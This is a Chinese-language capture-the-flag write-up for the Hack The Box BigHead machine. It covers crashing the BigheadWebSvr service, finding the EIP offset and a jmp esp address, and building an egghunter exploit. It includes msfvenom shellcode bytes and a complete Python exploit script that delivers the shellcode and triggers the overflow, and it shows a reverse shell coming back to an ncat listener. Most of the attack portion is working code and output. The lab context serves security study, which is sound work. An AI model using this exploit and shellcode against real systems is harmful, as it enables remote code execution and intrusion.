本文专门记录hack the box — bighead机器的BigheadWebSvr逆向部分,故前面的部分省略,part1 主要使用的工具是immunity debugger和mona插件,下一篇part2主要使用IDA来分析程序。
step1 把zip压缩文件从github上下载下来之后,john跑hash出来密码,然后解压出来,运行。
运行BigheadWebSvr.exe出现找不到libmingwex-0.dll,直接网上google搜索下载libmingwex-0.dll即可。。。
使用下面命令找出程序是开放在8008端口上的
1 2 C:\Users\Administrator>netstat -ano TCP 0.0.0.0:8008 0.0.0.0:0 LISTENING 23076
使用immunity debugger打开BigheadWebSvr.exe,然后点击运行,然后使用burp抓包,然后想办法构造poc使程序崩溃,如下图,EIP寄存器已被AAAAAAAA所填满:
1 curl --head http://172.20.10.7:8008/$(python -c 'print(("A"*100))' )
尝试发送一个更大的请求,服务器没有崩溃,有一个小问题,因为被限制在一个特定的大小,没有足够的空间来存储shellcode,这就是为什么需要使用egghunting。有很多关于win32 egghenting的很棒的教程,所以说明一个概念什么是egghunting,以防不清楚。当没有足够的堆栈空间来保存shellcode时,发送一个非常小的字符串,称为egghunter,而不是发送和执行shellcode。当egghunter被执行时,它会在整个内存中搜索一个egg。当它碰到egg时,它会执行它后面的代码(shellcode)。egg是一个4字节的字符串,例如luci,该egg被翻倍并添加到shellcode之前,如下所示:luciluci + shellcode。在skape的论文安全搜索进程虚拟地址空间 中对此做了很好的解释。也有很多实用教程只是搜索win32 egghunting。
现在回到易受攻击的服务器,首先需要知道的是偏移量。使用mona插件 , 插件文档使用说明 。
1 !mona config -set workingfolder D:\1.pentesttool\mona-master\logs\%p
为了找到偏移量需要创建一个识别模板,创建100个字符的识别模板,这和使用metasploit的pattern_create.rb创建识别模板的方法是一样的
会在之前设置的:
D:\1.pentesttool\mona-master\logs\BigheadWebSvr
目录输出一个pattern.txt文件,复制里面的ASCII值:
1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
然后发送下面请求:
1 curl --head http://172.20.10.7:8008/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
这个EIP被ACC54AAC覆盖了,mona findmsp 会找出偏移量,但由于某些原因它无法找到它,所以手动找它。颠倒ACC54AAC,因为它是小端序,所以颠倒过来后是AC4AC5AC。定位它,然后使用python的函数len()找到AC4AC5AC之前的字符串长度:
1 2 >>> len("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3" ) 72
偏移量是72, 现在来确认下. 发送72个A然后8个B:
1 curl --head http://172.20.10.7:8008/$(python -c 'print(("A"*72)+("B"*8))' )
成功的使用B覆盖了EIP
很好,现在控制了EIP,现在需要找到一个真正的地址来覆盖EIP。由于egghunter将位于堆栈上,需要找到一个jmp esp指令,使它成为egghunter的jmp并执行它。为了做到这一点,使用mona插件。
它将在D:\1.pentesttool\mona-master\logs\BigheadWebSvr中创建另一个名为jmp.txt的文件。需要确保选择的地址能在目标机器上工作,因此使用了来自服务器本身的dll bHeadSvr.dll中的一个地址。选择第一个:
1 2 0x625012f0 : jmp esp | {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\Administrator\Desktop\hack the box°Ð»úÉø͸\doing\machine\BigHead\BHWS_Backup\BHWS_Backup\bHeadSvr.dll) 0x625012fd : jmp esp | {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\Administrator\Desktop\hack the box°Ð»úÉø͸\doing\machine\BigHead\BHWS_Backup\BHWS_Backup\bHeadSvr.dll)
现在发送一个请求测试它,72个A和f0125062, 即625012f0的倒转:
1 curl --head http://172.20.10.7:8008/$(python -c 'print(("A"*72)+("f0125062"))' )
运行的很正常。需要知道的最后一件事是如何发送shellcode。发送了一个POST请求,看看服务器如何处理它,只是一堆A:
然后搜索内存:
现在可以看到整个请求被打印在内存中,利用这个信息来写利用程序exploit
step2 首先import socket, binary和re模块
1 2 3 import socket import binascii import re
然后开始定义变量,需要变量来保存host、port、egg、shellcode和egghunter。先生成shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 ┌──(root💀kali)-[~/hackthebox/machine/bighead] └─ [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch : x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of python file: 1712 bytes buf = b"" buf += b"\xda\xc6\xbf\xb6\xed\x8f\x35\xd9\x74\x24\xf4\x5a\x29" buf += b"\xc9\xb1\x52\x83\xc2\x04\x31\x7a\x13\x03\xcc\xfe\x6d" buf += b"\xc0\xcc\xe9\xf0\x2b\x2c\xea\x94\xa2\xc9\xdb\x94\xd1" buf += b"\x9a\x4c\x25\x91\xce\x60\xce\xf7\xfa\xf3\xa2\xdf\x0d" buf += b"\xb3\x09\x06\x20\x44\x21\x7a\x23\xc6\x38\xaf\x83\xf7" buf += b"\xf2\xa2\xc2\x30\xee\x4f\x96\xe9\x64\xfd\x06\x9d\x31" buf += b"\x3e\xad\xed\xd4\x46\x52\xa5\xd7\x67\xc5\xbd\x81\xa7" buf += b"\xe4\x12\xba\xe1\xfe\x77\x87\xb8\x75\x43\x73\x3b\x5f" buf += b"\x9d\x7c\x90\x9e\x11\x8f\xe8\xe7\x96\x70\x9f\x11\xe5" buf += b"\x0d\x98\xe6\x97\xc9\x2d\xfc\x30\x99\x96\xd8\xc1\x4e" buf += b"\x40\xab\xce\x3b\x06\xf3\xd2\xba\xcb\x88\xef\x37\xea" buf += b"\x5e\x66\x03\xc9\x7a\x22\xd7\x70\xdb\x8e\xb6\x8d\x3b" buf += b"\x71\x66\x28\x30\x9c\x73\x41\x1b\xc9\xb0\x68\xa3\x09" buf += b"\xdf\xfb\xd0\x3b\x40\x50\x7e\x70\x09\x7e\x79\x77\x20" buf += b"\xc6\x15\x86\xcb\x37\x3c\x4d\x9f\x67\x56\x64\xa0\xe3" buf += b"\xa6\x89\x75\xa3\xf6\x25\x26\x04\xa6\x85\x96\xec\xac" buf += b"\x09\xc8\x0d\xcf\xc3\x61\xa7\x2a\x84\x87\x32\x3a\x56" buf += b"\xf0\x40\x42\x53\x39\xcc\xa4\x31\x29\x98\x7f\xae\xd0" buf += b"\x81\x0b\x4f\x1c\x1c\x76\x4f\x96\x93\x87\x1e\x5f\xd9" buf += b"\x9b\xf7\xaf\x94\xc1\x5e\xaf\x02\x6d\x3c\x22\xc9\x6d" buf += b"\x4b\x5f\x46\x3a\x1c\x91\x9f\xae\xb0\x88\x09\xcc\x48" buf += b"\x4c\x71\x54\x97\xad\x7c\x55\x5a\x89\x5a\x45\xa2\x12" buf += b"\xe7\x31\x7a\x45\xb1\xef\x3c\x3f\x73\x59\x97\xec\xdd" buf += b"\x0d\x6e\xdf\xdd\x4b\x6f\x0a\xa8\xb3\xde\xe3\xed\xcc" buf += b"\xef\x63\xfa\xb5\x0d\x14\x05\x6c\x96\x24\x4c\x2c\xbf" buf += b"\xac\x09\xa5\xfd\xb0\xa9\x10\xc1\xcc\x29\x90\xba\x2a" buf += b"\x31\xd1\xbf\x77\xf5\x0a\xb2\xe8\x90\x2c\x61\x08\xb1"
-b ‘\x00’ 代表坏字符。\x00 是一个空字节总是一个坏字符,因为它充当一个字符串结束符并终止执行,所以不需要在shellcode中使用它。把这个添加到漏洞中并删除所有的”\x”,因为从binascii中使用hexlify和unhexlify函数。这是shellcode,现在需要egghunter。使用这个工具 来生成egghunter:
1 2 3 4 5 ┌──(root💀kali)-[~/hackthebox/machine/bighead] └─ [+] Egg Hunter shellcode with egg of 'luci' .. Final Opcode : 6681caff0f42526a0258cd2e3c055a74efb86963756c8bfaaf75eaaf75e7ffe7 Final Shellcode : '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x69\x63\x75\x6c\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'
但如果想改变egg,应该生成一个新的,看这工具是如何做的:
1 FinalOpcode = "6681caff0f42526a0258cd2e3c055a74efb8" +M+ OpCode +W+ "8bfaaf75eaaf75e7ffe7"
可以很容易地将其添加到exploi本身中。
1 2 3 host = '10.10.10.112' port = 80 egg = 'luci'
host用于机器的ip, port用于端口,egg用于保存egg的值。之后是由msfvenom生成的buf变量(这是shellcode,你应该用自己的ip和监听端口生成一个新的):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 buf = b"" buf += b"dac6bfb6ed8f35d97424f45a29" buf += b"c9b15283c204317a1303ccfe6d" buf += b"c0cce9f02b2cea94a2c9db94d1" buf += b"9a4c2591ce60cef7faf3a2df0d" buf += b"b309062044217a23c638af83f7" buf += b"f2a2c230ee4f96e964fd069d31" buf += b"3eadedd44652a5d767c5bd81a7" buf += b"e412bae1fe7787b87543733b5f" buf += b"9d7c909e118fe8e796709f11e5" buf += b"0d98e697c92dfc309996d8c14e" buf += b"40abce3b06f3d2bacb88ef37ea" buf += b"5e6603c97a22d770db8eb68d3b" buf += b"716628309c73411bc9b068a309" buf += b"dffbd03b40507e70097e797720" buf += b"c61586cb373c4d9f675664a0e3" buf += b"a68975a3f6252604a68596ecac" buf += b"09c80dcfc361a72a8487323a56" buf += b"f040425339cca43129987faed0" buf += b"810b4f1c1c764f9693871e5fd9" buf += b"9bf7af94c15eaf026d3c22c96d" buf += b"4b5f463a1c919faeb08809cc48" buf += b"4c715497ad7c555a895a45a212" buf += b"e7317a45b1ef3c3f735997ecdd" buf += b"0d6edfdd4b6f0aa8b3dee3edcc" buf += b"ef63fab50d14056c96244c2cbf" buf += b"ac09a5fdb0a910c1cc2990ba2a" buf += b"31d1bf77f50ab2e8902c6108b1"
创建一个变量来保存最终的shellcode(egg*2 + shellcode)和另一个变量为egghunter:
1 2 shellcode = (egg * 2) + binascii.unhexlify(buf) egghunter = "6681caff0f42526a0258cd2e3c055a74efb8" + binascii.hexlify(egg) + "8bfaaf75eaaf75e7ffe7"
注意: 有一个名为N的变量,稍后会讲到,它与漏洞本身没有关系。 现在需要创建两个函数。第一种是通过POST请求发送shellcode,另一种是利用漏洞发送egghunter。
从定义函数开始:
1 def send_shellcode(N,host,port,egg,shellcode):
然后,打开一个TCP流套接字到服务器和端口,将它保存在一个名为s的变量中:
1 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
最后要做的是用shellcode发送POST请求:
1 2 3 4 5 6 s.send("POST / HTTP/1.1\r\n" ) s.send("Host: dev.bighead.htb\r\n" ) s.send("Content-Length: %s\r\n" %len(shellcode)) s.send("\r\n" ) s.send(shellcode+"\r\n" ) s.send("\r\n" )
然后关闭流: s.close()
将它添加到一个for循环中,以发送16次shellcode。这样做是因为想把shellcode放在不同的地方,这样egghunter就可以很容易地找到它。还在函数的开头添加了一个打印语句:
1 print "\033[32m [*] Sending Shellcode"
\033[32m 是颜色,对攻击并不重要。并且在关闭流之前添加了一个print语句:
1 print '\033[34m' + '[' + str(N) + '] ' + re.sub(r"\s" ," " ,s.recv(12))
re.sub(r”\s”,” “,s.recv(12))将使用re(正则表达式操作)来打印服务器响应的第一行的前12个字符(“HTTP/1.1” + “ “ + 状态码(3个字符) = 12)。
send_shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def send_shellcode(N,host,port,egg,shellcode): print "\033[32m [*] Sending Shellcode" for i in range(0,16): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) s.connect((host,port)) s.send("POST / HTTP/1.1\r\n" ) s.send("Host: dev.bighead.htb\r\n" ) s.send("Content-Length: %s\r\n" %len(shellcode)) s.send("\r\n" ) s.send(shellcode+"\r\n" ) s.send("\r\n" ) print '\033[34m' + '[' + str(N) + '] ' + re.sub(r"\s" ," " ,s.recv(12)) s.close() N += 1 print "\033[32m [*] Done"
这是send_shellcode,写send_egghhunter。首先定义函数:
def send_egghunter(host,port,egghunter):
然后,打开一个TCP流套接字到host和port,并将它保存在一个名为s的变量中:
1 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
然后将连接并发送HEAD请求:
1 2 3 4 5 s.connect((host,port)) s.settimeout(None) s.send("HEAD /" + ("A" *72) + "f0125062" + egghunter + " HTTP/1.1\r\n" ) s.send("Host: dev.bighead.htb\r\n" ) s.send("\r\n" )
设置了settimeout(None),因为服务器需要很多时间来响应这个请求(因为将改变代码流,所以服务器不会回应),不希望流在egghunter成功执行之前被关闭。
s.send(“HEAD /“ + (“A”*72) + “f0125062” + egghunter + “ HTTP/1.1\r\n”)
这一行发送72个A然后f0125062(jmp esp(新EIP))然后egghunter。
1 2 3 4 5 6 7 8 9 10 11 def send_egghunter(host,port,egghunter): print "\033[32m [*] Sending EggHunter" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) s.connect((host,port)) s.settimeout(None) s.send("HEAD /" + ("A" *72) + "f0125062" + egghunter + " HTTP/1.1\r\n" ) s.send("Host: dev.bighead.htb\r\n" ) s.send("\r\n" ) print '\033[34m' + re.sub(r"\s" ," " ,s.recv(12)) s.close() print "\033[32m [*] Done"
漏洞利用脚本已经准备好了,现在只需要调用以下函数:
1 2 send_shellcode(N,host,port,egg,shellcode) send_egghunter(host,port,egghunter)
最终exploit脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 #!/usr/bin/python import socket import binascii import re host = '10.10.10.112' port = 80 egg = 'luci' N = 0 buf = b"" buf += b"dac6bfb6ed8f35d97424f45a29" buf += b"c9b15283c204317a1303ccfe6d" buf += b"c0cce9f02b2cea94a2c9db94d1" buf += b"9a4c2591ce60cef7faf3a2df0d" buf += b"b309062044217a23c638af83f7" buf += b"f2a2c230ee4f96e964fd069d31" buf += b"3eadedd44652a5d767c5bd81a7" buf += b"e412bae1fe7787b87543733b5f" buf += b"9d7c909e118fe8e796709f11e5" buf += b"0d98e697c92dfc309996d8c14e" buf += b"40abce3b06f3d2bacb88ef37ea" buf += b"5e6603c97a22d770db8eb68d3b" buf += b"716628309c73411bc9b068a309" buf += b"dffbd03b40507e70097e797720" buf += b"c61586cb373c4d9f675664a0e3" buf += b"a68975a3f6252604a68596ecac" buf += b"09c80dcfc361a72a8487323a56" buf += b"f040425339cca43129987faed0" buf += b"810b4f1c1c764f9693871e5fd9" buf += b"9bf7af94c15eaf026d3c22c96d" buf += b"4b5f463a1c919faeb08809cc48" buf += b"4c715497ad7c555a895a45a212" buf += b"e7317a45b1ef3c3f735997ecdd" buf += b"0d6edfdd4b6f0aa8b3dee3edcc" buf += b"ef63fab50d14056c96244c2cbf" buf += b"ac09a5fdb0a910c1cc2990ba2a" buf += b"31d1bf77f50ab2e8902c6108b1" shellcode = (egg * 2) + binascii.unhexlify(buf) egghunter = "6681caff0f42526a0258cd2e3c055a74efb8" + binascii.hexlify(egg) + "8bfaaf75eaaf75e7ffe7" def send_shellcode(N,host,port,egg,shellcode): print "\033[32m [*] Sending Shellcode" for i in range(0,16): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) s.connect((host,port)) s.send("POST / HTTP/1.1\r\n" ) s.send("Host: dev.bighead.htb\r\n" ) s.send("Content-Length: %s\r\n" %len(shellcode)) s.send("\r\n" ) s.send(shellcode+"\r\n" ) s.send("\r\n" ) print '\033[34m' + '[' + str(N) + '] ' + re.sub(r"\s" ," " ,s.recv(12)) s.close() N += 1 print "\033[32m [*] Done" def send_egghunter(host,port,egghunter): print "\033[32m [*] Sending EggHunter" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) s.connect((host,port)) s.settimeout(None) s.send("HEAD /" + ("A" *72) + "f0125062" + egghunter + " HTTP/1.1\r\n" ) s.send("Host: dev.bighead.htb\r\n" ) s.send("\r\n" ) print '\033[34m' + re.sub(r"\s" ," " ,s.recv(12)) s.close() print "\033[32m [*] Done" send_shellcode(N,host,port,egg,shellcode) send_egghunter(host,port,egghunter)
现在运行脚本看效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ┌──(root💀kali)-[~/hackthebox/machine/bighead] └─ [*] Sending Shellcode [0] HTTP/1.1 200 [1] HTTP/1.1 200 [2] HTTP/1.1 200 [3] HTTP/1.1 200 [4] HTTP/1.1 200 [5] HTTP/1.1 200 [6] HTTP/1.1 200 [7] HTTP/1.1 200 [8] HTTP/1.1 200 [9] HTTP/1.1 200 [10] HTTP/1.1 200 [11] HTTP/1.1 200 [12] HTTP/1.1 200 [13] HTTP/1.1 200 [14] HTTP/1.1 200 [15] HTTP/1.1 200 [*] Done [*] Sending EggHunter
过一会儿,拿到一个reverse shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 ┌──(root💀kali)-[~] └─ Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337 Ncat: Connection from 10.10.10.112. Ncat: Connection from 10.10.10.112:49220. Microsoft Windows [Version 6.0.6002] Copyright (c) 2006 Microsoft Corporation. All rights reserved. C:\nginx>whoami whoami piedpiper\nelson C:\nginx>cd .. cd ..C:\>type users \nelson\desktop\user.txt type users \nelson\desktop\user.txt .-'' -. .-------. .---. .-./`) _______ .---. .---. .'_ _ \ | _ _ \ | ,_| \ .-.' ) / __ \ | | |_ _| / ( ` ) '| ( ' ) | ,-./ ) / `-' \ | ,_/ \__) | | ( ' ) . (_ o _) ||(_ o _) / \ '_ ' `) `-'`"`,-./ ) | ' -(_{;}_) | (_,_)___|| (_,_).' __ > (_) ) .---. \ ' _ '`) | (_,_) ' \ .---.| |\ \ | |( . .-' | | > (_) ) __ | _ _--. | \ `-' /| | \ `' / `-' `-'|___ | | ( . .-' _/ )|( ' ) | | \ / | | \ / | \| | `-' `-' / (_{;}_)| | `' -..-' ' '-' `'-' `--------`'---' `._____.' ' (_,_) '---' .---. ,-----. ,---. ,---. .-'' -. .-'' '-. | ,_| .' .-, '. | / | | .' _ _ \ / _ \ ,-./ ) / ,-.| \ _ \ | | | .'/ ( ` ) ' (`' )/`--' \ '_ ' `) ; \ '_ / | :| | _ | |. (_ o _) |(_ o _). > (_) ) | _`,/ \ _/ || _( )_ || (_,_)___| (_,_). ' . ( . .-' : ( ' \_/ \ ;\ (_ o._) /' \ .---..---. \ : `-' `-'|___\ `"/ \ ) / \ (_,_) / \ `-' /\ `-' | | \' . \_/``".' \ / \ / \ / `--------` '-----' `---` `'-..-' `-...-' ,---------. .---. .---. .-''-. \ \| | |_ _| .'_ _ \ `--. ,---'| | ( ' ) / ( ` ) ' | \ | '-(_{;}_). (_ o _) | :_ _: | (_,_) | (_,_)___| (_I_) | _ _--. | ' \ .---. (_(=)_) |( ' ) | | \ `-' / (_I_) (_{;}_)| | \ / '---' '(_,_) '---' `'-..-' .---. .---. ____ .-'''-. .---. .---. .-, | | |_ _| .' __ `. / _ \| | |_ _| ,-.| \ _ | | ( ' ) / ' \ \ (`' )/`--'| | ( ' ) \ '_ / | | '-(_{;}_)|___| / |(_ o _). | '-(_{;}_) _`,/ \ _/ | (_,_) _.-` | (_,_). '. | (_,_) ( '\_/ \ | _ _--. | .' _ |.---. \ :| _ _--. | `" / \ ) |( ' ) | | | _( )_ |\ `-' ||( ' ) | | \_/``" (_{;}_)| | \ (_ o _) / \ / (_{;}_)| | ' (_,_) '---' '.(_,_).' `-...-' ' (_,_) '---'